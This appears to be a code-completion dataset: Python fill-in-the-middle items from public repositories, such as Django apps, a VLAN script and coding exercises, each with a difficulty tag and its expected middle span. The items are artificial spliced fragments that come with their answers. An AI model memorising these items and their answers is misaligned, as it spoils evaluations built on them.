text
stringlengths
232
16.3k
domain
stringclasses
1 value
difficulty
stringclasses
3 values
meta
dict
<|fim_suffix|> placaPuesto["placa"]=2 desocuparPuesto("placa",10,placaPuesto) #Lo hizo bien al primer intento. #Caso de malicia en el cual se libera desde el final #diccionario, y limpiar la matriz def testBasicoDesocupar2(self) : for i in range(3,7): estaci...
code_fim
hard
{ "lang": "python", "repo": "ucode3715/IngSoftware", "path": "/old/sistemaEstacionamiento/testEstacionamiento.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> for i in range(9,10): estacionamiento[2][i] = 3 placaPuesto["placa"]=2 salida = tiempoACobrar("placa",3,10,None) print (salida) #Funciono bien al primer intento #Conductor Francisco Martinez ###########################...
code_fim
hard
{ "lang": "python", "repo": "ucode3715/IngSoftware", "path": "/old/sistemaEstacionamiento/testEstacionamiento.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>@view_config(name='revoke', context=m.SourceKey, renderer='json') def source_key_revoke(request): key = request.context key.revoked = True return key.__json__() @view_config(route_name='docs', renderer='docs.mak') def docs(request): return {}<|fim_prefix|># repo: ralphbean/statatat path:...
code_fim
hard
{ "lang": "python", "repo": "ralphbean/statatat", "path": "/statatat/views/__init__.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: ralphbean/statatat path: /statatat/views/__init__.py from pyramid.view import view_config from pyramid.security import authenticated_userid from pyramid.httpexceptions import HTTPFound import statatat.models as m from statatat.widgets.graph import make_chart import requests # http://developer...
code_fim
hard
{ "lang": "python", "repo": "ralphbean/statatat", "path": "/statatat/views/__init__.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> return { 'status': 'ok', 'enabled': request.context.enabled, 'repo': request.context.__json__(), } @view_config(name='revoke', context=m.SourceKey, renderer='json') def source_key_revoke(request): key = request.context key.revoked = True return key.__json__() ...
code_fim
hard
{ "lang": "python", "repo": "ralphbean/statatat", "path": "/statatat/views/__init__.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> else: if result: print 'VLAN exists, we will not create it' else: print 'Adding VLAN' command_str = 'vlan {}'.format(vlan_id) pynet_sw1.config([command_str]) if __name__ == '__main__': main()<|fim_prefix|># repo: karimjamali/Clas...
code_fim
hard
{ "lang": "python", "repo": "karimjamali/Class7", "path": "/ex2.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: karimjamali/Class7 path: /ex2.py import pyeapi from pprint import pprint import argparse def check_vlan(a_list,vlan_id): vlan_data=a_list[0]['result']['vlans'] vlans=vlan_data.keys() for vlan in vlans: if int(vlan_id) != int(vlan): continue else: ...
code_fim
medium
{ "lang": "python", "repo": "karimjamali/Class7", "path": "/ex2.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> # Target strengths stims_mean = rng.uniform(0.8,1.2,(batch_size,)) # stims_diff = rng.uniform(0.01,0.2,(batch_size,)) # stims_diff = rng.choice([0.02, 0.04, 0.08], (batch_size,)) # Encourage integration # stims_coh = rng.choice([0.16, 0.32, 0.64], (batch_size,)) ...
code_fim
hard
{ "lang": "python", "repo": "benhuh/RNN_multitask", "path": "/multitask/task.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: benhuh/RNN_multitask path: /multitask/task.py d1_strength/n_stim_mod1_strength+0.8 stim2_mod1_strengths = 2 - stim1_mod1_strengths stim1_mod2_strengths = 0.4*ind_stim_mod2_strength/n_stim_mod2_strength+0.8 stim2_mod2_strengths = 2 - stim1_mod2_strengths stim_ons =...
code_fim
hard
{ "lang": "python", "repo": "benhuh/RNN_multitask", "path": "/multitask/task.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: benhuh/RNN_multitask path: /multitask/task.py == 'test': tdim = int(2500/dt) n_stim_loc, n_stim_mod = batch_shape = 20, 2 batch_size = np.prod(batch_shape) ind_stim_loc, ind_stim_mod = np.unravel_index(range(batch_size),batch_shape) fix_offs = int(2000/dt...
code_fim
hard
{ "lang": "python", "repo": "benhuh/RNN_multitask", "path": "/multitask/task.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def test1(self): self.setup() t = [self.sim.symbols[-1],self.sim.identifiers[0],self.sim.symbols[0]] print t print self.sim.make(t,datetime.now(),debug=True) # def testMakeChirp(self): # self.setup() # ...
code_fim
hard
{ "lang": "python", "repo": "xkenneth/pydrill", "path": "/src/PyDrill/simulator.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: xkenneth/pydrill path: /src/PyDrill/simulator.py from decoder import decoder from objects import pulse from helper import smart_datetime as datetime from helper import smart_timedelta as timedelta import DataStructures import random class TwoOfFiveSimulator(decoder): def __init__(self,**...
code_fim
hard
{ "lang": "python", "repo": "xkenneth/pydrill", "path": "/src/PyDrill/simulator.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> time.sleep(5) print('Wake up!') threadObj = threading.Thread(target=takeANap) #2 threadObj.start() #3 print('End of program.')<|fim_prefix|># repo: wojciechprimus/AutomateBoringStuff path: /threadDemo.py import threading, time print('Start of progr...
code_fim
easy
{ "lang": "python", "repo": "wojciechprimus/AutomateBoringStuff", "path": "/threadDemo.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: wojciechprimus/AutomateBoringStuff path: /threadDemo.py import threading, time print('Start of program.') <|fim_suffix|> time.sleep(5) print('Wake up!') threadObj = threading.Thread(target=takeANap) #2 threadObj.start() #3 print('End of p...
code_fim
easy
{ "lang": "python", "repo": "wojciechprimus/AutomateBoringStuff", "path": "/threadDemo.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>threadObj = threading.Thread(target=takeANap) #2 threadObj.start() #3 print('End of program.')<|fim_prefix|># repo: wojciechprimus/AutomateBoringStuff path: /threadDemo.py import threading, time print('Start of program.') def takeANap(): ...
code_fim
easy
{ "lang": "python", "repo": "wojciechprimus/AutomateBoringStuff", "path": "/threadDemo.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: santiago3028/Frameworks-9a path: /PetsPasto/admimascotas/models.py from django.db import models # Create your models here. class tipos(models.Model): id=models.AutoField(primary_key=True) codigo=models.CharField(max_length=80, ) nombre=models.CharField(max_length=180 , ) abreviat...
code_fim
hard
{ "lang": "python", "repo": "santiago3028/Frameworks-9a", "path": "/PetsPasto/admimascotas/models.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|>class mascotas(models.Model): id=models.AutoField(primary_key=True) codigo=models.CharField(max_length=80, ) id_tipo=models.ForeignKey(tipos, on_delete=models.CASCADE) id_raza=models.ForeignKey(razas, on_delete=models.CASCADE) nombre=models.CharField(max_length=180) tiene_vacunas=m...
code_fim
hard
{ "lang": "python", "repo": "santiago3028/Frameworks-9a", "path": "/PetsPasto/admimascotas/models.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: mikio1998/Django-React-Project path: /leadmanager/leadmanager/urls.py # include: # A function that takes a full Python import path # to another URLconf module that should # be “included” in this place. <|fim_suffix|>urlpatterns = [ path('', include('leads.urls')), ]<|fim_middle|>from djan...
code_fim
medium
{ "lang": "python", "repo": "mikio1998/Django-React-Project", "path": "/leadmanager/leadmanager/urls.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>urlpatterns = [ path('', include('leads.urls')), ]<|fim_prefix|># repo: mikio1998/Django-React-Project path: /leadmanager/leadmanager/urls.py # include: # A function that takes a full Python import path # to another URLconf module that should # be “included” in this place. <|fim_middle|>from djan...
code_fim
medium
{ "lang": "python", "repo": "mikio1998/Django-React-Project", "path": "/leadmanager/leadmanager/urls.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> """Converts values in ps to values in mm.""" mm_delays = (delays) * (1/stage_passes) * 0.2998 return mm_delays # def mm_to_ps(delays_in_mm, stage_passes, t0_in_ps): # """Converts values in ps to values in mm.""" # ps_delays = (delays_in_mm * stage_passes)/0.2998 - t0_in_ps # retur...
code_fim
hard
{ "lang": "python", "repo": "emca9711/vis_reflectivity", "path": "/util.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: emca9711/vis_reflectivity path: /util.py # -*- coding: utf-8 -*- """ Created on Mon Jun 10 14:49:26 2019 This is the utility file for ImAGERS, the KM group instrumentation software (IMage Acquisition and Generalized Experimet Recipe Software). This file should contain any functions that are commo...
code_fim
hard
{ "lang": "python", "repo": "emca9711/vis_reflectivity", "path": "/util.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> class Migration(migrations.Migration): dependencies = [ ('music', '0001_initial'), ] operations = [ migrations.AlterField( model_name='album', name='year', field=models.IntegerField(choices=[('C', 'Current year'), ('O', 'Not current year')...
code_fim
easy
{ "lang": "python", "repo": "vikrampruthvi5/Python-Projects", "path": "/Django-mysite/music/migrations/0002_auto_20180804_0232.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> dependencies = [ ('music', '0001_initial'), ] operations = [ migrations.AlterField( model_name='album', name='year', field=models.IntegerField(choices=[('C', 'Current year'), ('O', 'Not current year'), ('TO', 'Too old not less than 1992')]),...
code_fim
easy
{ "lang": "python", "repo": "vikrampruthvi5/Python-Projects", "path": "/Django-mysite/music/migrations/0002_auto_20180804_0232.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: vikrampruthvi5/Python-Projects path: /Django-mysite/music/migrations/0002_auto_20180804_0232.py # Generated by Django 2.1 on 2018-08-04 02:32 from django.db import migrations, models class Migration(migrations.Migration): <|fim_suffix|> operations = [ migrations.AlterField( ...
code_fim
medium
{ "lang": "python", "repo": "vikrampruthvi5/Python-Projects", "path": "/Django-mysite/music/migrations/0002_auto_20180804_0232.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: meisteregor/python path: /final2/test_suite_gulenkov/test_cases/network.py from test_cases import * class Network(object): """Network checks to ensure an app could run correctly""" logger = logging.getLogger(__name__) @staticmethod def check_local_internet(): N...
code_fim
hard
{ "lang": "python", "repo": "meisteregor/python", "path": "/final2/test_suite_gulenkov/test_cases/network.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> @staticmethod def check_remote_internet(): Network.logger.info(cons.INFO_CHECKING_REMOTE_WEB_AVAILABILITY) response = UnixCommands.remote_ping_web(var.SERVER_NAME, var.SERVER_IP, cons.PING_OUTER_SOURCE) Inspection.is_pinging_remote(response, Network)<|fim_prefix|># repo...
code_fim
medium
{ "lang": "python", "repo": "meisteregor/python", "path": "/final2/test_suite_gulenkov/test_cases/network.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>len(arr)-1): l_sum+=arr[i] r_sum-=arr[i] if l_sum > r_sum: cnt+=1 return cnt<|fim_prefix|># repo: Changyoon-Lee/TIL path: /Algorithm/programmers/카카오인턴21년겨울/1.py def splitIntoTwo(arr): # Write your code here l_s<|fim_middle|>um = 0 r_sum = sum(arr) c...
code_fim
easy
{ "lang": "python", "repo": "Changyoon-Lee/TIL", "path": "/Algorithm/programmers/카카오인턴21년겨울/1.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> if l_sum > r_sum: cnt+=1 return cnt<|fim_prefix|># repo: Changyoon-Lee/TIL path: /Algorithm/programmers/카카오인턴21년겨울/1.py def splitIntoTwo(arr): # Write your code here l_sum = 0 r_sum = sum(arr) cnt=0 for i in range(<|fim_middle|>len(arr)-1): l_sum+=arr[i...
code_fim
easy
{ "lang": "python", "repo": "Changyoon-Lee/TIL", "path": "/Algorithm/programmers/카카오인턴21년겨울/1.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Changyoon-Lee/TIL path: /Algorithm/programmers/카카오인턴21년겨울/1.py def splitIntoTwo(arr): # Write your code here l_s<|fim_suffix|> if l_sum > r_sum: cnt+=1 return cnt<|fim_middle|>um = 0 r_sum = sum(arr) cnt=0 for i in range(len(arr)-1): l_sum+=arr[i...
code_fim
medium
{ "lang": "python", "repo": "Changyoon-Lee/TIL", "path": "/Algorithm/programmers/카카오인턴21년겨울/1.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: micerin/PythonExercise path: /CapturePagePhantomJs/TestPhantomjs.py #encoding=utf8 import subprocess def getDom(url): <|fim_suffix|>targetUrl = 'www.yahoo.com' getDom(targetUrl)<|fim_middle|> cmd = r'C:\Users\t-jizh\Downloads\phantomjs-2.1.1-windows\bin\phantomjs.exe constructionDom.js "%s"'...
code_fim
hard
{ "lang": "python", "repo": "micerin/PythonExercise", "path": "/CapturePagePhantomJs/TestPhantomjs.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>targetUrl = 'www.yahoo.com' getDom(targetUrl)<|fim_prefix|># repo: micerin/PythonExercise path: /CapturePagePhantomJs/TestPhantomjs.py #encoding=utf8 import subprocess def getDom(url): <|fim_middle|> cmd = r'C:\Users\t-jizh\Downloads\phantomjs-2.1.1-windows\bin\phantomjs.exe constructionDom.js "%s"'...
code_fim
hard
{ "lang": "python", "repo": "micerin/PythonExercise", "path": "/CapturePagePhantomJs/TestPhantomjs.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: dogpi/StudyPython path: /004_自动化办公/003_播放音乐.py import time import pygame # 音乐路径 filePath = r"D:\PythonCode\StudyCode\004_自动化办公\Kalimba.mp3" <|fim_suffix|>track = pygame.mixer.music.load(filePath) pygame.mixer.music.play() time.sleep(5) pygame.mixer.music.pause() time.sleep(5) pygame....
code_fim
easy
{ "lang": "python", "repo": "dogpi/StudyPython", "path": "/004_自动化办公/003_播放音乐.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>track = pygame.mixer.music.load(filePath) pygame.mixer.music.play() time.sleep(5) pygame.mixer.music.pause() time.sleep(5) pygame.mixer.music.unpause() time.sleep(5) pygame.mixer.music.stop()<|fim_prefix|># repo: dogpi/StudyPython path: /004_自动化办公/003_播放音乐.py import time import pygame # 音乐路径 ...
code_fim
easy
{ "lang": "python", "repo": "dogpi/StudyPython", "path": "/004_自动化办公/003_播放音乐.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Yadav420dilip/Algorithms path: /GreedyApproach/RecursiveBinarySerach.py alist = [10, 20, 23, 26, 27, 35, 38, 41, 46, 49, 54, 56, 64, 70, 81, 87, 88, 90, 92, 96, 98] temp = None def binary_search(left: int, right: int, key: int) -> int: <|fim_suffix|>""" This segment for dynamic of the program ...
code_fim
hard
{ "lang": "python", "repo": "Yadav420dilip/Algorithms", "path": "/GreedyApproach/RecursiveBinarySerach.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|>alist.sort() print(alist) print(len(alist)) search_key = int(input("Enter the number you want to search = ")) result = binary_search(0, len(alist), search_key) print(result)<|fim_prefix|># repo: Yadav420dilip/Algorithms path: /GreedyApproach/RecursiveBinarySerach.py alist = [10, 20, 23, 26, 27, 35, 38, ...
code_fim
medium
{ "lang": "python", "repo": "Yadav420dilip/Algorithms", "path": "/GreedyApproach/RecursiveBinarySerach.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> RangerBase.__init__(self, attrs) self.grantor = attrs.get('grantor') self.grantorGroups = attrs.get('grantorGroups') self.targetRoles = attrs.get('targetRoles') self.users = attrs.get('users') self.groups = attrs.get('groups...
code_fim
medium
{ "lang": "python", "repo": "alldatacenter/alldata", "path": "/govern/data-security/ranger/intg/src/main/python/apache_ranger/model/grant_revoke_role_request.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|>class JobAdmin(admin.ModelAdmin): list_display = ('job_text', 'pub_date') list_filter = ['pub_date'] search_fields = ['job_text'] inlines = [ChoiceInline] admin.site.register(Job, JobAdmin)<|fim_prefix|># repo: rice1got/vsc path: /mande/admin.py from django.contrib import admin from .mod...
code_fim
medium
{ "lang": "python", "repo": "rice1got/vsc", "path": "/mande/admin.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: rice1got/vsc path: /mande/admin.py from django.contrib import admin from .models import Job, Choice class ChoiceInline(admin.TabularInline): <|fim_suffix|>class JobAdmin(admin.ModelAdmin): list_display = ('job_text', 'pub_date') list_filter = ['pub_date'] search_fields = ['job_text']...
code_fim
easy
{ "lang": "python", "repo": "rice1got/vsc", "path": "/mande/admin.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: MichaelCombs28/confparse path: /bighosts.py import re, os class Address: '''Class with two attributes and a repr : an IPV4 or IPV6 address and a list of hostnames''' # Lazy: every valid address matches, some incorrect address will match format=re.compile('(\d{1,3}\.){3}\d{1,3...
code_fim
hard
{ "lang": "python", "repo": "MichaelCombs28/confparse", "path": "/bighosts.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def write(self,filename=None): filename = filename or self.filename c=Hosts() # Because we pop the written lines, we pop on a copy c.addresses, c.hostnames = self.addresses.copy(), self.hostnames.copy() f=file(filename+'~','w') if os.path.isf...
code_fim
hard
{ "lang": "python", "repo": "MichaelCombs28/confparse", "path": "/bighosts.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> #class URLs path('class6/', views.class6, name='class6'), path('class7/', views.class7, name='class7'), path('class8/', views.class8, name='class8'), path('class9/', views.class9, name='class9'), path('class10/', views.class10, name='class10'), path('class11/', views.class11, n...
code_fim
hard
{ "lang": "python", "repo": "Apoorva-14/Django-Edutech_website", "path": "/Edutech/urls.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> #Functionalities path('', views.home, name='home'), path('learn/', views.learn, name='learn'), path('syllabus/', views.syllabus, name='syllabus'), path('book/', views.book, name='book'), path('courses/', views.courses, name='courses'), #class URLs path('class6/', views.cla...
code_fim
medium
{ "lang": "python", "repo": "Apoorva-14/Django-Edutech_website", "path": "/Edutech/urls.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Apoorva-14/Django-Edutech_website path: /Edutech/urls.py """Edutech URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views...
code_fim
hard
{ "lang": "python", "repo": "Apoorva-14/Django-Edutech_website", "path": "/Edutech/urls.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def crawler(resources): for resource in progress(resources): try: resp = requests.get(resource.url) except: pass else: with connect as conn: rupdate = fq_update_online_void(resource.resource_id, ...
code_fim
hard
{ "lang": "python", "repo": "pedroribeirorj/SWLab", "path": "/Crawler/src/tasks/resources/cache_voids.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def update_description(): with connect as conn: print(len(list(conn.execute(q_update_void))), 'alterados') def crawler(resources): for resource in progress(resources): try: resp = requests.get(resource.url) except: pass else: wi...
code_fim
hard
{ "lang": "python", "repo": "pedroribeirorj/SWLab", "path": "/Crawler/src/tasks/resources/cache_voids.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: pedroribeirorj/SWLab path: /Crawler/src/tasks/resources/cache_voids.py ''' Created on 20/11/2015 @author: Joao Pimentel ''' import requests from ..utils import progress from ..database.connection import connect from ..database.queries import first from ..database.queries import q_select_void...
code_fim
hard
{ "lang": "python", "repo": "pedroribeirorj/SWLab", "path": "/Crawler/src/tasks/resources/cache_voids.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>cmds = [] cmds.append((run.format(unit='json', method=''), init.format(unit='json', ext='json'), 'json')) cmds.append((run_1.format(unit='yaml', method=''), init.format(unit='yaml', ext='yaml'), 'yaml')) cmds.append((run.format(unit='pickle', method=',protocol=0'), init.format(unit='pickle', ext='pickle_v...
code_fim
medium
{ "lang": "python", "repo": "Stanleyli1984/myscratch", "path": "/test_serialization/test_serialization_dump_speed.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Stanleyli1984/myscratch path: /test_serialization/test_serialization_dump_speed.py import json, pickle, yaml, marshal from collections import OrderedDict import json, pickle, yaml, marshal import timeit with open (r"origin.yaml") as fp: data = yaml.load(fp) run = '''{unit}.dumps(data{metho...
code_fim
medium
{ "lang": "python", "repo": "Stanleyli1984/myscratch", "path": "/test_serialization/test_serialization_dump_speed.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: racktivity/ext-lfw path: /pyapp/impl/action/ui/bookmark/create/1_bookmark_create.py from alkira import Alkira def main(q, i, p, params, tags): <|fim_suffix|>def match(q, i, p, params, tags): return True<|fim_middle|> q.logger.log('Creating bookmark %s - %s' % (params['name'], params['url'...
code_fim
hard
{ "lang": "python", "repo": "racktivity/ext-lfw", "path": "/pyapp/impl/action/ui/bookmark/create/1_bookmark_create.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def match(q, i, p, params, tags): return True<|fim_prefix|># repo: racktivity/ext-lfw path: /pyapp/impl/action/ui/bookmark/create/1_bookmark_create.py from alkira import Alkira def main(q, i, p, params, tags): <|fim_middle|> q.logger.log('Creating bookmark %s - %s' % (params['name'], params['url'...
code_fim
hard
{ "lang": "python", "repo": "racktivity/ext-lfw", "path": "/pyapp/impl/action/ui/bookmark/create/1_bookmark_create.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: codewithmohit/Education-Site-Task path: /education/urls.py from django.contrib import admin from django.urls import path from . import views from django.contrib.staticfiles.urls import static from task import settings urlpatterns = [ path('', views.home,name='home'), path("search/", views...
code_fim
medium
{ "lang": "python", "repo": "codewithmohit/Education-Site-Task", "path": "/education/urls.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>gout'), path('signup/', views.signup,name='signup'), ]+static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)<|fim_prefix|># repo: codewithmohit/Education-Site-Task path: /education/urls.py from django.contrib import admin from django.urls import path from . import views from django.contrib.s...
code_fim
hard
{ "lang": "python", "repo": "codewithmohit/Education-Site-Task", "path": "/education/urls.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> ('aliases', django.contrib.postgres.fields.ArrayField(base_field=models.TextField(), default=list, size=None)), ], ), migrations.AddIndex( model_name='person', index=models.Index(fields=['tmdb_id'], name='movies_pers_tmdb_id_944488_idx'), ...
code_fim
hard
{ "lang": "python", "repo": "tizz98/iioy-v4", "path": "/iioy/movies/migrations/0001_initial.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: tizz98/iioy-v4 path: /iioy/movies/migrations/0001_initial.py # Generated by Django 2.0.4 on 2018-04-07 20:12 import django.contrib.postgres.fields from django.db import migrations, models import django.db.models.deletion import django_extensions.db.fields import iioy.core.fields class Migratio...
code_fim
hard
{ "lang": "python", "repo": "tizz98/iioy-v4", "path": "/iioy/movies/migrations/0001_initial.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: clennan/image-captioning path: /tools/calc_metrics.py import argparse from src.coco_caption.pycocotools.coco import COCO from src.coco_caption.pycocoevalcap.eval import COCOEvalCap import pylab pylab.rcParams['figure.figsize'] = (10.0, 8.0) import json from json import encoder encoder.FLOAT_REPR...
code_fim
medium
{ "lang": "python", "repo": "clennan/image-captioning", "path": "/tools/calc_metrics.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def convert_result(result_json): res = load_json(result_json) collect = [] for item in res: new = {} new['image_id'] = int(str(item['image_id']).lstrip('0')) new['caption'] = ' '.join([i for i in item['caption'].split(' ') if 'sentence_' not in i]) collect.appe...
code_fim
hard
{ "lang": "python", "repo": "clennan/image-captioning", "path": "/tools/calc_metrics.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> args = parser.parse_args() arguments = args.__dict__ true_captions_file = 'src/coco_caption/annotations/captions_val2014.json' main(arguments['captions_file'], true_captions_file)<|fim_prefix|># repo: clennan/image-captioning path: /tools/calc_metrics.py import argparse from src.coco_c...
code_fim
hard
{ "lang": "python", "repo": "clennan/image-captioning", "path": "/tools/calc_metrics.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: chateval/Mephisto path: /mephisto/client/cli.py #!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import click from click_default_group import Defa...
code_fim
hard
{ "lang": "python", "repo": "chateval/Mephisto", "path": "/mephisto/client/cli.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> @cli.command("requesters") def list_requesters(): """Lists all registered requesters""" from mephisto.core.local_database import LocalMephistoDB from tabulate import tabulate db = LocalMephistoDB() requesters = db.find_requesters() dict_requesters = [r.to_dict() for r in requeste...
code_fim
hard
{ "lang": "python", "repo": "chateval/Mephisto", "path": "/mephisto/client/cli.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> path('signup.html', views.signup,name = 'signup.html'), path('upload_file.html', views.upload_file, name='upload_file'), path('login_faculty.html', views.login_faculty,name = 'login_faculty'), path('catalog_faculty.html', views.catalog_faculty,name = 'catalog_faculty'), ]<|fim_prefix|># rep...
code_fim
hard
{ "lang": "python", "repo": "kevinM01/E-LearningWebsite", "path": "/Home/urls.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: kevinM01/E-LearningWebsite path: /Home/urls.py from django.contrib import admin from django.urls import path from Home import views urlpatterns = [ # path('admin/', admin.site.urls), #path('login', views.loginU,name = 'login'), path('logout', views.logoutU,name = 'logout'), path('...
code_fim
hard
{ "lang": "python", "repo": "kevinM01/E-LearningWebsite", "path": "/Home/urls.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> # Write your code here list_dig = [color[1:3], color[3:5], color[5:7]] result = '#' for dig in list_dig: ori = int('0x%s' % dig, 16) similar = int(ori / 16) value = { (ori - (similar - 1) * 16 + similar - 1) ** 2: similar ...
code_fim
hard
{ "lang": "python", "repo": "lychlov/LintBrush", "path": "/Google/SimilarRGBColor.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: lychlov/LintBrush path: /Google/SimilarRGBColor.py class Solution: """ @param color: the given color @return: a 7 character color that is most similar to the given color """ <|fim_suffix|> # Write your code here list_dig = [color[1:3], color[3:5], color[5:7]] ...
code_fim
hard
{ "lang": "python", "repo": "lychlov/LintBrush", "path": "/Google/SimilarRGBColor.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>print("O valor de A é: ", a) print("O valor de B é: ", b)<|fim_prefix|># repo: ErickDaviContino/praticando path: /Lista1/trocadevalor.py a = float(input('Digite o valor de A: ')) b = float(input('Digite o valor de B: ')) <|fim_middle|>c = a a = b b = c
code_fim
easy
{ "lang": "python", "repo": "ErickDaviContino/praticando", "path": "/Lista1/trocadevalor.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: ErickDaviContino/praticando path: /Lista1/trocadevalor.py a = float(input('Digite o valor de A: ')) b = float(input('Digite o valor de B: ')) <|fim_suffix|>print("O valor de A é: ", a) print("O valor de B é: ", b)<|fim_middle|>c = a a = b b = c
code_fim
easy
{ "lang": "python", "repo": "ErickDaviContino/praticando", "path": "/Lista1/trocadevalor.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: ataparlar/hkmo_django_egitim path: /board/migrations/0002_advisor.py # Generated by Django 3.2.3 on 2021-05-30 12:11 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): <|fim_suffix|> operations = [ migrations.CreateModel(...
code_fim
medium
{ "lang": "python", "repo": "ataparlar/hkmo_django_egitim", "path": "/board/migrations/0002_advisor.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> operations = [ migrations.CreateModel( name='Advisor', fields=[ ('person_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='board.person')), ...
code_fim
medium
{ "lang": "python", "repo": "ataparlar/hkmo_django_egitim", "path": "/board/migrations/0002_advisor.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|># i do not know how to answer the follow up, if anyone could help me it would be great :) # also the approach here is to use iter to only see through forward iterations # time space complexity : time = O(s*t) space = O(t) # added solution complexity: time = O(s+t) space = O(1)<|fim_prefix|># repo: Madhav...
code_fim
hard
{ "lang": "python", "repo": "Madhav-Somanath/LeetCode", "path": "/June/09-IsSubsequence.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Madhav-Somanath/LeetCode path: /June/09-IsSubsequence.py """ Given a string s and a string t, check if s is subsequence of t. A subsequence of a string is a new string which is formed from the original string by deleting some (can be none) of the characters without disturbing the relative positi...
code_fim
hard
